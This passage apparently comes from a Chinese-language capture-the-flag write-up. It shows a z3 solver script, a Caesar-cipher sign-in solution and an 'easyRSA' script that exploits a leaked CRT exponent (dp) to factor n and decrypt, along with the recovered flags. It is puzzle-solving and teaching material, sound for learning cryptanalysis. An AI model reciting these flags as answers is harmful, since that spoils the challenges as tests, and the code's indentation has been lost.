16, 1, 8,
17, 25,
24, 22, 24,
24, 14,
6, 5, 18,
24, 5,
6, 2, 1,
13, 20,
100]
b = [8, 22, 26,
28, 24,
28, 11, 18,
18, 27,
27, 24, 28,
23, 24,
25, 9, 15,
24, 26,
24, 23, 26,
25, 23,
16, 25, 29,
30, 19,
26, 23, 18,
24, 29,
200]
c = [13, 25, 13,
46, 12,
43, 42, 4,
22, 46,
22, 35, 36,
12, 24,
12, 48, 8,
24, 29,
41, 7, 15,
6, 21,
2, 30, 19,
10, 33,
38, 5, 22,
19, 40,
68, 101, 99, 105]
flagbool = [z3.Int(f"flagbool{i}") for i in range(35)]
v7 = [0] * 35
v5 = 0
# print(flagbool[0].eq("True"))
for i in range(len(flagbool)):
# if z3.And(flagbool, True):
for j in range(a[i], b[i]):
v7[j] += c[i] * flagbool[i]
v5 += c[i] * (b[i] - a[i]) * flagbool[i]
s = z3.Solver()
s.add(v5 == 3430)
for i in range(35):
s.add(v7[i] <= 150)
s.add(flagbool[i] <= 1)
s.add(flagbool[i] >= 0)
print(s.check())
print(s.model())
Crypto
签到
凯撒密码,位移为 3
Flag:flag{2a2ab40b9b031723cca883b61c15fee0}
easyRSA
一道简单的 dp 泄露题目
import gmpy2
from Crypto.Util.number import *
e = 65537
n = gmpy2.mpz(101031799769686356875689677901727632087789394241694537610688487381734497153370779419148195361726900364384918762158954452844358699628272550435920733825528414623691447245900175499950458168333742756118038555364836309568598646312353874247656710732472018288962454506789615632015856961278964493826919853082813244227)
dp = gmpy2.mpz(1089885100013347250801674176717862346181995027932544377293216564837464201546385463279055643089303360817423261428901834798955985043080308895369226243973673)
c = gmpy2.mpz(59381302046219861703693321495442496884448849866535616496729805734326661742228038342690865965545318011599241185017546760846698815333545820228348501022889423901773651749628741238050559441761853071976079031678640014602919526148731936437472217369575554448232401310265267205034644121488774398730319347479771423197)
for x in range(1, e):
if(e*dp%x==1):
p=(e*dp-1)//x+1
if(n%p!=0):
continue
q=n//p
phin=(p-1)*(q-1)
d=gmpy2.invert(e, phin)
m=gmpy2.powmod(c, d, n)
if(len(hex(m)[2:])%2==1):
continue
print(long_to_bytes(m))
Flag:flag{38c60aa8ddcfb50afa3021f40f0acdac}